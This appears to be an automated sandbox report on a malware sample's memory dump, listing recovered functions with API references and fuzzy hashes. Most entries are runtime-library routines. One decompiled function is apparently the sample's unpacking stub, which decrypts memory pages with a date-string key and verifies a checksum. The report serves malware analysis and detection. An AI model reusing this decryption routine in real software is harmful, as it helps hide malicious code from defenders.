Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 78d90e2426d83be1f59c03936dda8ae368bc9a698e2ac0dba022fcf56770ce96
Instruction ID: cd3d42343c9c9707ce3cff38d0a33b0b16af9e8d0813d27fd2218ef21a4d522a
Opcode Fuzzy Hash: 78d90e2426d83be1f59c03936dda8ae368bc9a698e2ac0dba022fcf56770ce96
Instruction Fuzzy Hash: A4018136189516A7AF0277699C88F6B277A9BD33657220125F91892142FF74882283B4

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6CCC3, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6DD6CCDB

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(?,?,6DD6CFAF,?,00000000,?,00000000,?,6DD6D2B4,?,00000007,?,?,6DD6C0FC,?,?), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6CCED
_free.LIBCMT ref: 6DD6CCFF
_free.LIBCMT ref: 6DD6CD11
_free.LIBCMT ref: 6DD6CD23

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction ID: 1f9683ab47bdc906f604fe10ca1abb43cc7211b6b2fcfa4ace957131d6d6b464
Opcode Fuzzy Hash: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction Fuzzy Hash: 94F03731548245DBCF10FB5DE880E3B3BFAEA06310B625809F128D7902DB30F8A08AF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1EAAA, Relevance: 6.2, APIs: 4, Instructions: 190COMMON

Download Yara Rule

APIs

_Deallocate.LIBCONCRT ref: 6DD1EB16
_Deallocate.LIBCONCRT ref: 6DD1EBC1
allocator.LIBCPMT ref: 6DD1EC31
_Deallocate.LIBCONCRT ref: 6DD1EC68

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: Deallocate$allocator
String ID:
API String ID: 262231531-0
Opcode ID: 4644d969b05f1bb781484a51b27c8fc590bdeac27ca822e2222beb8d334504a6
Instruction ID: 1dd7e078b26c04dadd7a7f05503222d6119811425f242bfac26bb000652067e6
Opcode Fuzzy Hash: 4644d969b05f1bb781484a51b27c8fc590bdeac27ca822e2222beb8d334504a6
Instruction Fuzzy Hash: 83519575A08219AFCF14DFA8EC8089FBBBAFF49358B114569F915D7201E730E905CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD66102, Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,6DD80EA8,00000000,00000000,008B018B,6DD5DA1E,?,00000004,00000001,6DD80EA8,0000007F,?,008B018B,00000001), ref: 6DD6614F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6DD661D8
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6DD661EA
__freea.LIBCMT ref: 6DD661F3

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,?), ref: 6DD5F29F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 6e1fd98af84881575b26a1e4f35fccfdde666e3d2255be1dd5539a493333ac05
Instruction ID: 08d998eef6ed932992060a65a215c90625a2fdf39c804a87c625843a69035b26
Opcode Fuzzy Hash: 6e1fd98af84881575b26a1e4f35fccfdde666e3d2255be1dd5539a493333ac05
Instruction Fuzzy Hash: F131B072A0025AEBEF15AFA4CC40EBE7BA5EB41714F1541A8FC14D6241EB39C951CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF15A3, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6DCF15A3(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x6dcf41b0;
				_t39 = E6DCF1A4B(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4);
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x6dcf41cc;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x6dcf5137; // 0x6dcf5137
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E6DCF1D02(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x6dcf41cc = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000);
					}
				}
				return _v16;
			}

0x6dcf15aa
0x6dcf15ba
0x6dcf15c1
0x6dcf15c4
0x6dcf15d9
0x6dcf15e0
0x6dcf15e5
0x6dcf15f6
0x6dcf15f9
0x6dcf1601
0x6dcf1604
0x6dcf16ae
0x6dcf160a
0x6dcf160a
0x6dcf160e
0x6dcf1676
0x6dcf1610
0x6dcf1610
0x6dcf1613
0x6dcf1615
0x6dcf161d
0x6dcf1620
0x6dcf1623
0x6dcf162b
0x6dcf1633
0x6dcf1634
0x6dcf1635
0x6dcf163c
0x6dcf163c
0x6dcf1650
0x6dcf1655
0x6dcf165e
0x6dcf1665
0x6dcf1668
0x6dcf166c
0x6dcf1671
0x00000000
0x00000000
0x6dcf1628
0x6dcf1628
0x6dcf1673
0x6dcf1680
0x6dcf1695
0x6dcf1682
0x6dcf168b
0x6dcf1690
0x6dcf16a6
0x6dcf16a6
0x6dcf16b5
0x6dcf16bb

APIs

VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6DCF15F9
memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6DCF17EC), ref: 6DCF168B
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,00000000), ref: 6DCF16A6

Strings

Mar 26 2021, xrefs: 6DCF162B

Memory Dump Source

Source File: 00000003.00000002.617087825.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000003.00000002.617046127.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617171628.000000006DCF3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.617226738.000000006DCF5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.617289382.000000006DCF6000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 26 2021
API String ID: 4010158826-2175073649
Opcode ID: 133223462a8839cd21fa6585447cd9b34a22ffa20c5022ee3e534ad4b8f59897
Instruction ID: 064f56cdbb262f858808dabd001c51517f6075716b9f6d6a67addc50219c6961
Opcode Fuzzy Hash: 133223462a8839cd21fa6585447cd9b34a22ffa20c5022ee3e534ad4b8f59897
Instruction Fuzzy Hash: F5313EB1E0021EABDF41CF99D980BEEBBB5FF49304F148169E504A7240E771AA06CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F4C1, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F4D2
std::_Facet_Register.LIBCPMT ref: 6DD1F523
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F543
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F561

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 992ed8cfc61eb9ede61749c91bad3fd2a4d968c6e69bc0b80070988ef91e5019
Instruction ID: 89c1e37368e9507aa8a6215c7e7d9780f632fe333c205ebecf9791c8782ea8a7
Opcode Fuzzy Hash: 992ed8cfc61eb9ede61749c91bad3fd2a4d968c6e69bc0b80070988ef91e5019
Instruction Fuzzy Hash: F5118C7290C1299BCF01FBA4DC40AADB775EF85324F260109F614AB291EB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FC89, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FC9A
std::_Facet_Register.LIBCPMT ref: 6DD1FCEB
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FD0B
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FD29

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 3d43d258bdb36503daf44d1b20f8f81c1fb299672db908cf7aa7013f15380cf1
Instruction ID: e854eaf39a9146a64e5a1e165e3a3a3edd8e70a5f2ef7a041850e1dac8b37e62
Opcode Fuzzy Hash: 3d43d258bdb36503daf44d1b20f8f81c1fb299672db908cf7aa7013f15380cf1
Instruction Fuzzy Hash: 2E11AC7290822DCBCF01FBA4EC40AFDB775EF85324F264409F610AB290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F41B, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F42C
std::_Facet_Register.LIBCPMT ref: 6DD1F47D
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F49D
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F4BB

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 7e3b78b552c9f5a3b5643256a1f120cf569a642f0109dd7ef5a6d0a4c1057d80
Instruction ID: 0e56e0d8e4420a6541fc7073b9077dcff61c31c7e4c4b6a3ab127ec5044e42c0
Opcode Fuzzy Hash: 7e3b78b552c9f5a3b5643256a1f120cf569a642f0109dd7ef5a6d0a4c1057d80
Instruction Fuzzy Hash: 3711E072908129DBCF01FBA4DC50AFDB775FF85324F164009F611AB290DB7099058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F7FF, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F810
std::_Facet_Register.LIBCPMT ref: 6DD1F861
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F881
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F89F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 42bfdd1c694f7bd8ffb93b9feace5d7336d5d950e2bbfb5dc9e9f784b6a40ccc
Instruction ID: ab5210d280a74ee2e3c275655569b605d754fbd7c79cac8d9d369c77962397f7
Opcode Fuzzy Hash: 42bfdd1c694f7bd8ffb93b9feace5d7336d5d950e2bbfb5dc9e9f784b6a40ccc
Instruction Fuzzy Hash: DC11A0B294812DCBCF01FBA4DC40AFDB775EF85724F260109F610A7290DB749A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14747, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD14758
std::_Facet_Register.LIBCPMT ref: 6DD147A9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD147BF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD147DD

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 4c9f465d245977e33ffa8aae75cd4226b7f6c07848507c12819f010051b6cc99
Instruction ID: f0f55257490194bd56763df4e399f5ca545246ae202944f1c7c20a530453de9a
Opcode Fuzzy Hash: 4c9f465d245977e33ffa8aae75cd4226b7f6c07848507c12819f010051b6cc99
Instruction Fuzzy Hash: 2D11067190C129CBCB00FBA8DC40AFD7B74EF49718F124548F514AB290EB709905CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A1A5, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A1B6
std::_Facet_Register.LIBCPMT ref: 6DD1A207
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A227
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A245

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: a9c437d501937c680fa0f31918afbdd8aaf460d8703655822d61f0ec4e3f94ec
Instruction ID: ee8854bb162388f3d1e7313a58c37fe784be2bb0af3e4796857dea0e450bf027
Opcode Fuzzy Hash: a9c437d501937c680fa0f31918afbdd8aaf460d8703655822d61f0ec4e3f94ec
Instruction Fuzzy Hash: 1F119E75948129CBCF01FBA8DC40EEDB775EF85314F164009F510AB291DB759A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F94B, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F95C
std::_Facet_Register.LIBCPMT ref: 6DD1F9AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F9CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F9EB

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 42cff21c6e0e2e161b0ae1c93299e1933eda468868baa9b02b838a65e3dd4c21
Instruction ID: 1dcb0426b6e01a0ae4e2ae13ba8d84d42f50f8e4af777b8dd517c11837ac67fe
Opcode Fuzzy Hash: 42cff21c6e0e2e161b0ae1c93299e1933eda468868baa9b02b838a65e3dd4c21
Instruction Fuzzy Hash: 9711A07290812DDBCF01FBA4EC50AFDB775EF55314F26400AF614AB290DB7599028BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B93E, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B94F
std::_Facet_Register.LIBCPMT ref: 6DD2B9A0
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B9C0
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B9DE

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: a94e922d3541fe72364dae58b6cb1e9e389448ca1da3d43247f1fbb89795af86
Instruction ID: bbdc8b985e315f3c5054ce05727015627dc96f007443858c29a00f78395631f6
Opcode Fuzzy Hash: a94e922d3541fe72364dae58b6cb1e9e389448ca1da3d43247f1fbb89795af86
Instruction Fuzzy Hash: 6111AC7290852DCBCF01FBA8C850AFDB774AF85728F164109F610AB290DBB49A05CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2B898, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B8A9
std::_Facet_Register.LIBCPMT ref: 6DD2B8FA
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2B91A
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2B938

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 8e70c98303699dfe6615fc5e860a76f276d378301644f54fcdae55ddfa9ab092
Instruction ID: 4bd3814a7197288ed01ab13c9867c7bd972749fd72eacb98fef5492272d1865a
Opcode Fuzzy Hash: 8e70c98303699dfe6615fc5e860a76f276d378301644f54fcdae55ddfa9ab092
Instruction Fuzzy Hash: 8B11A07590812DDBCF01FBA4C840AFDB775AF85728F164509F614A72D0DBB59A018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F8A5, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F8B6
std::_Facet_Register.LIBCPMT ref: 6DD1F907
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F927
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F945

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 3669c381f224df7fabb07a365a277b7f7257990569e2aaffd6ddcc97181e2588
Instruction ID: 55083309f2a32c22dd68ff3575ba33af59e55fbdc94ee35f19d6b54eaaa4b441
Opcode Fuzzy Hash: 3669c381f224df7fabb07a365a277b7f7257990569e2aaffd6ddcc97181e2588
Instruction Fuzzy Hash: 2711A07690812DDBCF01FBA8DC40AFDB775EF85328F164009F610A7291DB749A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FBE3, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FBF4
std::_Facet_Register.LIBCPMT ref: 6DD1FC45
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FC65
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FC83

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 38bf8046708a2f77708dd24656e9f62bcf2eeba93a815964052cf5aed46e15bb
Instruction ID: e3308e95582982d362904e6c35b4b8772b372269c7030cb4bf0d57709efffcee
Opcode Fuzzy Hash: 38bf8046708a2f77708dd24656e9f62bcf2eeba93a815964052cf5aed46e15bb
Instruction Fuzzy Hash: 5011A07290C129DBCF01FBA4DC80AFDB776EF85324F164109FA10A7290DB759A058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F375, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F386
std::_Facet_Register.LIBCPMT ref: 6DD1F3D7
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F3F7
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F415

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: bdb75f14866408f309c6317b075f716bc67b47a3450ef602ac5a178c1a0a0a7b
Instruction ID: d874b6b888ecc53b211631424b92df8b10825e8505f787ddaa269fa26bb54276
Opcode Fuzzy Hash: bdb75f14866408f309c6317b075f716bc67b47a3450ef602ac5a178c1a0a0a7b
Instruction Fuzzy Hash: 78119E7290C529DBCF01FBA8DC50AFDB774EF85324F264049F610A7291DB7499068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BB30, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BB41
std::_Facet_Register.LIBCPMT ref: 6DD2BB92
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BBB2
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BBD0

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 6f8c6efe75dfa889e6ebe986e476b2ae37d08df513951b829c05f4fb4023e49c
Instruction ID: f36f5f46d86b1e6fdf4c785997acdd8c291b7c5529d5eecc87d47a091dcf81f1
Opcode Fuzzy Hash: 6f8c6efe75dfa889e6ebe986e476b2ae37d08df513951b829c05f4fb4023e49c
Instruction Fuzzy Hash: CC119E72908129CBCF01FFA8CC44AEEB775EF45328F164149F610A7294DBB4AA018BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FB3D, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FB4E
std::_Facet_Register.LIBCPMT ref: 6DD1FB9F
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FBBF
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FBDD

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 61aaa3598e21a65d7b30aeebf862f5e4345bee39e5458c1cf57db1fe76085444
Instruction ID: 046573a8d1730ba6a8dcca93590c0daf546ef297bd805e4f100486b50b887323
Opcode Fuzzy Hash: 61aaa3598e21a65d7b30aeebf862f5e4345bee39e5458c1cf57db1fe76085444
Instruction Fuzzy Hash: 6711CEB290852D8BCF01FBA4DC50AEEB774EF85324F164449F610A7290DB74AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F2CF, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F2E0
std::_Facet_Register.LIBCPMT ref: 6DD1F331
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F351
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F36F

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 3aa347c4a1c79500bb94e2b29a9f0e7113859389f0c2da484e17c67ac9b2213d
Instruction ID: 8f0e5e5ab558b3a1163743d039e96de44095497cb623cc2f2a7cba4453ce05de
Opcode Fuzzy Hash: 3aa347c4a1c79500bb94e2b29a9f0e7113859389f0c2da484e17c67ac9b2213d
Instruction Fuzzy Hash: 7B119E7290C129CBCF01FBA4DC40AFDB775EF85714F16404AF620AB291EB7599058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1FA97, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1FAA8
std::_Facet_Register.LIBCPMT ref: 6DD1FAF9
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1FB19
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1FB37

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: bbf70ae8ac2b9b40f2930d7d99b00f07526b6e98621513ce06748cb0c7e5ced5
Instruction ID: 26fe19e7b9fee7ae20dcc40e0e033d50574de9b5d6c1388c71b65d867bddeb42
Opcode Fuzzy Hash: bbf70ae8ac2b9b40f2930d7d99b00f07526b6e98621513ce06748cb0c7e5ced5
Instruction Fuzzy Hash: 2B119EB690C12D8BCF01FBA4EC50AEEB775EF95314F164009F611A7290EB75AA058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A24B, Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A25C
std::_Facet_Register.LIBCPMT ref: 6DD1A2AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A2CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A2EB

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
String ID:
API String ID: 1640353255-0
Opcode ID: 3989736ff41becfe68a86d1e66e32ba2d31f611d806d9a6648467065081ebb3b
Instruction ID: 3861b1541ede9579781f192adaa84d28e70c5052b31c0e4f56c5384a476dd9b9
Opcode Fuzzy Hash: 3989736ff41becfe68a86d1e66e32ba2d31f611d806d9a6648467065081ebb3b
Instruction Fuzzy Hash: 06119E719481299BCF01FBA8DC40EFDB775EF95324F161009F610AB291DB75990A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD63E7F, Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,6DD81C60), ref: 6DD63EB1
GetLastError.KERNEL32(?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,6DD81C60,6DD81C58,6DD81C60,00000000,00000364,?,6DD5D6D1), ref: 6DD63EBD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,6DD81C60,6DD81C58,6DD81C60,00000000), ref: 6DD63ECB

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction ID: 10c7ce198cad665035f7586435c4289b1abd8b16f8c1bc3224d0342d1aa508a3
Opcode Fuzzy Hash: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction Fuzzy Hash: FB01D4326652B3ABEB126FA98C44E5777A8AB077A1F140364FD4AD3542DB21D800C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14A80, Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DD14A91
std::_Facet_Register.LIBCPMT ref: 6DD14AE2
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD14AF8
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD14B16

Memory Dump Source

Source File: 00000003.00000002.617419938.000000006DCFF000.00000020.00020000.sdmp, Offset: 6DCFF000, based on PE: false

Similarity

API ID: std::_$Lockit$Exception@8Facet_Lockit::_Lockit::~_RegisterThrow
